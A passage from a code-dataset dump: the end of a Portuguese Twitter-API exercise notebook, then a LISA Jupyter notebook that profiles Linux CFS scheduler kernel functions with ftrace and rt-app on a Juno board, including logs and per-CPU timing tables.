screen_name,\n", " * friends_count\n", " * time_zone\n", " \n", "Por fim, remova o tweet, utilizando o método ```destroy_status```." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**```Exercício 3 - Utilizando o método home_timeline(), recupere os 10 tweets atuais. Para cada um desses tweets, imprima:```**\n", " * o screen_name\n", " * o texto do tweet\n", " * o id do usuário" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**```Exercício 4 - Para cada tweet do exercício anterior, utilize o id do usuário e imprima o texto dos 5 primeiros tweets de cada um dos 10 usuários (user_timeline).```**" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": false }, "outputs": [], "source": [] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

JaviMerino/lisa

ipynb/examples/trace_analysis/TraceAnalysis_FunctionsProfiling.ipynb

1

121073

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "<font size=\"8\">Trace Analysis Examples</font>\n", "<br>\n", "<font size=\"5\">Kernel Functions Profiling</font>\n", "<br>\n", "<hr>" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Import Required Modules" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "import logging\n", "reload(logging)\n", "logging.basicConfig(\n", " format='%(asctime)-9s %(levelname)-8s: %(message)s',\n", " datefmt='%I:%M:%S')\n", "\n", "# Enable logging at INFO level\n", "logging.getLogger().setLevel(logging.INFO)" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Populating the interactive namespace from numpy and matplotlib\n" ] } ], "source": [ "# Generate plots inline\n", "%matplotlib inline\n", "\n", "import json\n", "import os\n", "\n", "# Support to access the remote target\n", "import devlib\n", "from env import TestEnv\n", "\n", "# RTApp configurator for generation of PERIODIC tasks\n", "from wlgen import RTA, Ramp\n", "\n", "# Support for trace events analysis\n", "from trace import Trace" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Target Configuration" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Setup target configuration\n", "my_conf = {\n", "\n", " # Target platform and board\n", " \"platform\" : 'linux',\n", " \"board\" : 'juno',\n", " \"host\" : '192.168.0.1',\n", "\n", " # Folder where all the results will be collected\n", " \"results_dir\" : \"TraceAnalysis_FunctionsProfiling\",\n", "\n", " # Define devlib modules to load\n", " \"exclude_modules\" : [ 'hwmon' ],\n", "\n", " # FTrace events to collect for all the tests configuration which have\n", " # the \"ftrace\" flag enabled\n", " \"ftrace\" : {\n", " \"functions\" : [\n", " \"pick_next_task_fair\",\n", " \"select_task_rq_fair\",\n", " \"enqueue_task_fair\",\n", " \"update_curr_fair\",\n", " \"dequeue_task_fair\",\n", " ],\n", " \n", " \"buffsize\" : 100 * 1024,\n", " },\n", "\n", " # Tools required by the experiments\n", " \"tools\" : [ 'trace-cmd', 'rt-app' ],\n", " \n", " # Comment this line to calibrate RTApp in your own platform\n", " \"rtapp-calib\" : {\"0\": 360, \"1\": 142, \"2\": 138, \"3\": 352, \"4\": 352, \"5\": 353},\n", "}" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false, "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "03:35:25 INFO : Target - Using base path: /home/derkling/Code/lisa\n", "03:35:25 INFO : Target - Loading custom (inline) target configuration\n", "03:35:25 INFO : Target - Devlib modules to load: ['bl', 'cpufreq']\n", "03:35:25 INFO : Target - Connecting linux target:\n", "03:35:25 INFO : Target - username : root\n", "03:35:25 INFO : Target - host : 192.168.0.1\n", "03:35:25 INFO : Target - password : \n", "03:35:25 INFO : Target - Connection settings:\n", "03:35:25 INFO : Target - {'username': 'root', 'host': '192.168.0.1', 'password': ''}\n", "03:35:29 INFO : Target - Initializing target workdir:\n", "03:35:29 INFO : Target - /root/devlib-target\n", "03:35:34 INFO : Target - Topology:\n", "03:35:34 INFO : Target - [[0, 3, 4, 5], [1, 2]]\n", "03:35:35 INFO : Platform - Loading default EM:\n", "03:35:35 INFO : Platform - /home/derkling/Code/lisa/libs/utils/platforms/juno.json\n", "03:35:38 INFO : FTrace - Enabled tracepoints:\n", "03:35:38 INFO : FTrace - sched:*\n", "03:35:38 INFO : FTrace - Kernel functions profiled:\n", "03:35:38 INFO : FTrace - pick_next_task_fair\n", "03:35:38 INFO : FTrace - select_task_rq_fair\n", "03:35:38 INFO : FTrace - enqueue_task_fair\n", "03:35:38 INFO : FTrace - update_curr_fair\n", "03:35:38 INFO : FTrace - dequeue_task_fair\n", "03:35:38 WARNING : Target - Using configuration provided RTApp calibration\n", "03:35:38 INFO : Target - Using RT-App calibration values:\n", "03:35:38 INFO : Target - {\"0\": 360, \"1\": 142, \"2\": 138, \"3\": 352, \"4\": 352, \"5\": 353}\n", "03:35:38 INFO : EnergyMeter - HWMON module not enabled\n", "03:35:38 WARNING : EnergyMeter - Energy sampling disabled by configuration\n", "03:35:38 INFO : TestEnv - Set results folder to:\n", "03:35:38 INFO : TestEnv - /home/derkling/Code/lisa/results/TraceAnalysis_FunctionsProfiling\n", "03:35:38 INFO : TestEnv - Experiment results available also in:\n", "03:35:38 INFO : TestEnv - /home/derkling/Code/lisa/results_latest\n" ] } ], "source": [ "# Initialize a test environment using:\n", "te = TestEnv(my_conf, wipe=False, force_new=True)\n", "target = te.target" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Workload Execution and Functions Profiling Data Collection" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": true }, "outputs": [], "source": [ "def experiment(te):\n", "\n", " # Create and RTApp RAMP task\n", " rtapp = RTA(te.target, 'ramp', calibration=te.calibration())\n", " rtapp.conf(kind='profile',\n", " params={\n", " 'ramp' : Ramp(\n", " start_pct = 60,\n", " end_pct = 20,\n", " delta_pct = 5,\n", " time_s = 0.5).get()\n", " })\n", "\n", " # FTrace the execution of this workload\n", " te.ftrace.start()\n", " rtapp.run(out_dir=te.res_dir)\n", " te.ftrace.stop()\n", "\n", " # Collect and keep track of the trace\n", " trace_file = os.path.join(te.res_dir, 'trace.dat')\n", " te.ftrace.get_trace(trace_file)\n", " \n", " # Collect and keep track of the Kernel Functions performance data\n", " stats_file = os.path.join(te.res_dir, 'trace.stats')\n", " te.ftrace.get_stats(stats_file)\n", "\n", " # Dump platform descriptor\n", " te.platform_dump(te.res_dir)" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "03:35:38 INFO : WlGen - Setup new workload ramp\n", "03:35:38 INFO : RTApp - Workload duration defined by longest task\n", "03:35:38 INFO : RTApp - Default policy: SCHED_OTHER\n", "03:35:38 INFO : RTApp - ------------------------\n", "03:35:38 INFO : RTApp - task [ramp], sched: using default policy\n", "03:35:38 INFO : RTApp - | calibration CPU: 1\n", "03:35:38 INFO : RTApp - | loops count: 1\n", "03:35:38 INFO : RTApp - + phase_000001: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 60 %\n", "03:35:38 INFO : RTApp - | run_time 60000 [us], sleep_time 40000 [us]\n", "03:35:38 INFO : RTApp - + phase_000002: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 55 %\n", "03:35:38 INFO : RTApp - | run_time 55000 [us], sleep_time 45000 [us]\n", "03:35:38 INFO : RTApp - + phase_000003: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 50 %\n", "03:35:38 INFO : RTApp - | run_time 50000 [us], sleep_time 50000 [us]\n", "03:35:38 INFO : RTApp - + phase_000004: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 45 %\n", "03:35:38 INFO : RTApp - | run_time 45000 [us], sleep_time 55000 [us]\n", "03:35:38 INFO : RTApp - + phase_000005: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 40 %\n", "03:35:38 INFO : RTApp - | run_time 40000 [us], sleep_time 60000 [us]\n", "03:35:38 INFO : RTApp - + phase_000006: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 35 %\n", "03:35:38 INFO : RTApp - | run_time 35000 [us], sleep_time 65000 [us]\n", "03:35:38 INFO : RTApp - + phase_000007: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 30 %\n", "03:35:38 INFO : RTApp - | run_time 30000 [us], sleep_time 70000 [us]\n", "03:35:38 INFO : RTApp - + phase_000008: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 25 %\n", "03:35:38 INFO : RTApp - | run_time 25000 [us], sleep_time 75000 [us]\n", "03:35:38 INFO : RTApp - + phase_000009: duration 0.500000 [s] (5 loops)\n", "03:35:38 INFO : RTApp - | period 100000 [us], duty_cycle 20 %\n", "03:35:38 INFO : RTApp - | run_time 20000 [us], sleep_time 80000 [us]\n", "03:35:44 INFO : WlGen - Workload execution START:\n", "03:35:44 INFO : WlGen - /root/devlib-target/bin/rt-app /root/devlib-target/ramp_00.json 2>&1\n" ] } ], "source": [ "experiment(te)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Parse Trace and Profiling Data" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "03:35:53 INFO : Content of the output folder /home/derkling/Code/lisa/results/TraceAnalysis_FunctionsProfiling\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "\u001b[01;34m/home/derkling/Code/lisa/results/TraceAnalysis_FunctionsProfiling\u001b[00m\r\n", "├── output.log\r\n", "├── platform.json\r\n", "├── ramp_00.json\r\n", "├── rt-app-ramp-0.log\r\n", "├── trace.dat\r\n", "├── trace.raw.txt\r\n", "├── trace.stats\r\n", "└── trace.txt\r\n", "\r\n", "0 directories, 8 files\r\n" ] } ], "source": [ "# Base folder where tests folder are located\n", "res_dir = te.res_dir\n", "logging.info('Content of the output folder %s', res_dir)\n", "!tree {res_dir}" ] }, { "cell_type": "code", "execution_count": 8, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "03:35:53 INFO : LITTLE cluster max capacity: 447\n" ] } ], "source": [ "with open(os.path.join(res_dir, 'platform.json'), 'r') as fh:\n", " platform = json.load(fh)\n", "#print json.dumps(platform, indent=4)\n", "logging.info('LITTLE cluster max capacity: %d',\n", " platform['nrg_model']['little']['cpu']['cap_max'])" ] }, { "cell_type": "code", "execution_count": 9, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "03:21:10 INFO : Parsing FTrace format...\n", "03:21:10 INFO : Trace contains only functions stats\n", "03:21:10 INFO : Collected events spans a 0.000 [s] time interval\n", "03:21:10 INFO : Set plots time range to (0.000000, 0.000000)[s]\n", "03:21:10 INFO : Registering trace analysis modules:\n", "03:21:10 INFO : frequency\n", "03:21:10 INFO : functions\n", "03:21:10 INFO : tasks\n", "03:21:10 INFO : eas\n", "03:21:10 INFO : status\n", "03:21:10 INFO : cpus\n" ] } ], "source": [ "trace = Trace(platform, res_dir, events=[])" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Report Functions Profiling Data" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>hits</th>\n", " <th>avg</th>\n", " <th>time</th>\n", " <th>s_2</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">0</th>\n", " <th>dequeue_task_fair</th>\n", " <td>538</td>\n", " <td>3.372</td>\n", " <td>1814.54</td>\n", " <td>5.544</td>\n", " </tr>\n", " <tr>\n", " <th>enqueue_task_fair</th>\n", " <td>571</td>\n", " <td>3.214</td>\n", " <td>1835.56</td>\n", " <td>2.027</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">1</th>\n", " <th>dequeue_task_fair</th>\n", " <td>12</td>\n", " <td>3.501</td>\n", " <td>42.02</td>\n", " <td>1.593</td>\n", " </tr>\n", " <tr>\n", " <th>enqueue_task_fair</th>\n", " <td>17</td>\n", " <td>3.076</td>\n", " <td>52.30</td>\n", " <td>0.593</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">2</th>\n", " <th>dequeue_task_fair</th>\n", " <td>1160</td>\n", " <td>2.469</td>\n", " <td>2864.78</td>\n", " <td>2.218</td>\n", " </tr>\n", " <tr>\n", " <th>enqueue_task_fair</th>\n", " <td>1164</td>\n", " <td>2.177</td>\n", " <td>2535.18</td>\n", " <td>0.999</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">3</th>\n", " <th>dequeue_task_fair</th>\n", " <td>304</td>\n", " <td>2.362</td>\n", " <td>718.34</td>\n", " <td>3.015</td>\n", " </tr>\n", " <tr>\n", " <th>enqueue_task_fair</th>\n", " <td>279</td>\n", " <td>2.538</td>\n", " <td>708.18</td>\n", " <td>1.082</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">4</th>\n", " <th>dequeue_task_fair</th>\n", " <td>199</td>\n", " <td>2.646</td>\n", " <td>526.58</td>\n", " <td>2.827</td>\n", " </tr>\n", " <tr>\n", " <th>enqueue_task_fair</th>\n", " <td>215</td>\n", " <td>2.571</td>\n", " <td>552.78</td>\n", " <td>0.903</td>\n", " </tr>\n", " <tr>\n", " <th rowspan=\"2\" valign=\"top\">5</th>\n", " <th>dequeue_task_fair</th>\n", " <td>88</td>\n", " <td>2.407</td>\n", " <td>211.82</td>\n", " <td>2.773</td>\n", " </tr>\n", " <tr>\n", " <th>enqueue_task_fair</th>\n", " <td>59</td>\n", " <td>2.774</td>\n", " <td>163.70</td>\n", " <td>1.491</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " hits avg time s_2\n", "0 dequeue_task_fair 538 3.372 1814.54 5.544\n", " enqueue_task_fair 571 3.214 1835.56 2.027\n", "1 dequeue_task_fair 12 3.501 42.02 1.593\n", " enqueue_task_fair 17 3.076 52.30 0.593\n", "2 dequeue_task_fair 1160 2.469 2864.78 2.218\n", " enqueue_task_fair 1164 2.177 2535.18 0.999\n", "3 dequeue_task_fair 304 2.362 718.34 3.015\n", " enqueue_task_fair 279 2.538 708.18 1.082\n", "4 dequeue_task_fair 199 2.646 526.58 2.827\n", " enqueue_task_fair 215 2.571 552.78 0.903\n", "5 dequeue_task_fair 88 2.407 211.82 2.773\n", " enqueue_task_fair 59 2.774 163.70 1.491" ] }, "execution_count": 9, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Get the DataFrame for the specified list of kernel functions\n", "df = trace.data_frame.functions_stats(['enqueue_task_fair', 'dequeue_task_fair'])\n", "df" ] }, { "cell_type": "code", "execution_count": 10, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th></th>\n", " <th>hits</th>\n", " <th>avg</th>\n", " <th>time</th>\n", " <th>s_2</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <th>select_task_rq_fair</th>\n", " <td>783</td>\n", " <td>1.617</td>\n", " <td>1266.88</td>\n", " <td>0.896</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <th>select_task_rq_fair</th>\n", " <td>17</td>\n", " <td>0.782</td>\n", " <td>13.30</td>\n", " <td>0.031</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <th>select_task_rq_fair</th>\n", " <td>777</td>\n", " <td>1.042</td>\n", " <td>810.16</td>\n", " <td>3.248</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <th>select_task_rq_fair</th>\n", " <td>259</td>\n", " <td>1.575</td>\n", " <td>408.12</td>\n", " <td>8.924</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <th>select_task_rq_fair</th>\n", " <td>186</td>\n", " <td>1.837</td>\n", " <td>341.72</td>\n", " <td>4.420</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <th>select_task_rq_fair</th>\n", " <td>51</td>\n", " <td>2.557</td>\n", " <td>130.42</td>\n", " <td>13.227</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " hits avg time s_2\n", "0 select_task_rq_fair 783 1.617 1266.88 0.896\n", "1 select_task_rq_fair 17 0.782 13.30 0.031\n", "2 select_task_rq_fair 777 1.042 810.16 3.248\n", "3 select_task_rq_fair 259 1.575 408.12 8.924\n", "4 select_task_rq_fair 186 1.837 341.72 4.420\n", "5 select_task_rq_fair 51 2.557 130.42 13.227" ] }, "execution_count": 10, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Get the DataFrame for the single specified kernel function\n", "df = trace.data_frame.functions_stats('select_task_rq_fair')\n", "df" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Plot Functions Profiling Data" ] }, { "cell_type": "code", "execution_count": 12, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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